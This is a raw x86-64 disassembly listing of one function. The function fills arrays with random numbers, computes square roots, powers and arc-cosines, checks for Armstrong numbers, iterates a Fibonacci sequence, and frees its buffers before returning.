mov rax, qword [rbp + 0x62f8]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x9f78]
cdqe
movss dword [rcx + rax*4], xmm0
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x1f4
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x9f7c]
cdqe
shl rax, 7
mov rcx, rax
mov rax, qword [rbp + 0x62f0]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x9f78]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x9f78], 1
cmp dword [rbp + 0x9f78], 0x1f
jle 0x3a91c31ce
add dword [rbp + 0x9f7c], 1
cmp dword [rbp + 0x9f7c], 0x1d
jle 0x3a91c31bf
mov dword [rbp + 0x9f7c], 0
jmp 0x3a91c336a
mov dword [rbp + 0x9f78], 0
jmp 0x3a91c3356
mov eax, dword [rbp + 0x9f7c]
cdqe
shl rax, 7
mov rdx, rax
mov rax, qword [rbp + 0x62f8]
add rdx, rax
mov eax, dword [rbp + 0x9f78]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x9f7c]
cdqe
shl rax, 7
mov rdx, rax
mov rax, qword [rbp + 0x62f0]
add rdx, rax
mov eax, dword [rbp + 0x9f78]
cdqe
movss xmm1, dword [rdx + rax*4]
divss xmm0, xmm1
pxor xmm5, xmm5
cvtss2sd xmm5, xmm0
movq rax, xmm5
movq xmm0, rax
call dbg.sqrt
mov eax, dword [rbp + 0x9f7c]
cdqe
shl rax, 7
mov rdx, rax
mov rax, qword [rbp + 0x62e8]
add rdx, rax
cvtsd2ss xmm0, xmm0
mov eax, dword [rbp + 0x9f78]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x9f78], 1
cmp dword [rbp + 0x9f78], 0x1f
jle 0x3a91c32be
add dword [rbp + 0x9f7c], 1
cmp dword [rbp + 0x9f7c], 0x1d
jle 0x3a91c32af
mov rax, qword [rbp + 0x62f8]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x62f0]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x62e8]
mov rcx, rax
call sym.free
mov qword [rbp + 0x9f68], 0
mov dword [rbp + 0x62e4], 0x11b
mov dword [rbp + 0x9f74], 1
jmp 0x3a91c33db
mov eax, dword [rbp + 0x9f74]
cdqe
add qword [rbp + 0x9f68], rax
add dword [rbp + 0x9f74], 1
mov eax, dword [rbp + 0x9f74]
cmp eax, dword [rbp + 0x62e4]
jle 0x3a91c33c5
mov ecx, 0x70
call sym.malloc
mov qword [rbp + 0x62d8], rax
mov dword [rbp + 0x9f60], 0
mov dword [rbp + 0x9f5c], 0
mov dword [rbp + 0x9f64], 0
jmp 0x3a91c3466
call sym.rand
mov edx, dword [rbp + 0x9f64]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x62d8]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x23
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x9f64], 1
cmp dword [rbp + 0x9f64], 0x1b
jle 0x3a91c341a
mov dword [rbp + 0x9f64], 0
jmp 0x3a91c34a4
mov eax, dword [rbp + 0x9f64]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x62d8]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x9f60], eax
add dword [rbp + 0x9f64], 1
cmp dword [rbp + 0x9f64], 0x1b
jle 0x3a91c347b
mov dword [rbp + 0x9f64], 0
jmp 0x3a91c3529
pxor xmm6, xmm6
cvtsi2sd xmm6, dword [rbp + 0x9f5c]
mov eax, dword [rbp + 0x9f64]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x62d8]
add rax, rdx
mov eax, dword [rax]
pxor xmm0, xmm0
cvtsi2ss xmm0, eax
subss xmm0, dword [rbp + 0x138]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm0
movq rax, xmm3
movsd xmm0, qword [0x3a924f0f8]
movupd xmm1, xmm0
movq xmm0, rax
call dbg.pow
addsd xmm0, xmm6
cvttsd2si eax, xmm0
mov dword [rbp + 0x9f5c], eax
add dword [rbp + 0x9f64], 1
cmp dword [rbp + 0x9f64], 0x1b
jle 0x3a91c34b9
pxor xmm0, xmm0
cvtsi2ss xmm0, dword [rbp + 0x9f5c]
movss xmm1, dword [0x3a924f144]
divss xmm0, xmm1
movss dword [rbp + 0x62d4], xmm0
pxor xmm4, xmm4
cvtss2sd xmm4, dword [rbp + 0x62d4]
movq rax, xmm4
movq xmm0, rax
call dbg.sqrt
cvtsd2ss xmm0, xmm0
movss dword [rbp + 0x62d0], xmm0
mov rax, qword [rbp + 0x62d8]
mov rcx, rax
call sym.free
mov dword [rbp + 0x9f54], 1
jmp 0x3a91c3644
mov dword [rbp + 0x9f58], 0
mov eax, dword [rbp + 0x9f54]
mov dword [rbp + 0x9f50], eax
jmp 0x3a91c361a
mov edx, dword [rbp + 0x9f50]
movsxd rax, edx
imul rax, rax, 0x66666667
shr rax, 0x20
mov ecx, eax
sar ecx, 2
mov eax, edx
sar eax, 0x1f
sub ecx, eax
mov eax, ecx
shl eax, 2
add eax, ecx
add eax, eax
sub edx, eax
mov dword [rbp + 0x13c], edx
mov eax, dword [rbp + 0x13c]
imul eax, eax
imul eax, dword [rbp + 0x13c]
add dword [rbp + 0x9f58], eax
mov eax, dword [rbp + 0x9f50]
movsxd rdx, eax
imul rdx, rdx, 0x66666667
shr rdx, 0x20
mov ecx, edx
sar ecx, 2
cdq
mov eax, ecx
sub eax, edx
mov dword [rbp + 0x9f50], eax
cmp dword [rbp + 0x9f50], 0
jne 0x3a91c35af
mov eax, dword [rbp + 0x9f58]
cmp eax, dword [rbp + 0x9f54]
jne 0x3a91c363d
cmp dword [rbp + 0x9f54], 0xf8
jle 0x3a91c3597
mov dword [rbp + 0x9f4c], 0
mov dword [rbp + 0x9f48], 1
mov dword [rbp + 0x9f44], 0
mov dword [rbp + 0x62cc], 0x17b
jmp 0x3a91c36b1
mov edx, dword [rbp + 0x9f4c]
mov eax, dword [rbp + 0x9f48]
add eax, edx
mov dword [rbp + 0x144], eax
add dword [rbp + 0x9f44], 1
mov eax, dword [rbp + 0x9f48]
mov dword [rbp + 0x9f4c], eax
mov eax, dword [rbp + 0x144]
mov dword [rbp + 0x9f48], eax
mov eax, dword [rbp + 0x9f44]
cmp eax, dword [rbp + 0x62cc]
jl 0x3a91c367e
mov dword [rbp + 0x9f40], 0xffffffff
mov ecx, 0x4e8
call sym.malloc
mov qword [rbp + 0x62c0], rax
add dword [rbp + 0x9f40], 1
call sym.rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x3a924f120]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x9f40]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x62c0]
add rax, rdx
movsd xmm1, qword [0x3a924f108]
subsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x9f40]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x62c0]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x9f40]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x62c0]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sym.acos
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x9f40], 0x9b
jle 0x3a91c36da
mov eax, dword [rbp + 0x645c]
movups xmm6, xmmword [rbp + 0x9ff0]
add rsp, 0xa088
pop rbx
pop rbp
ret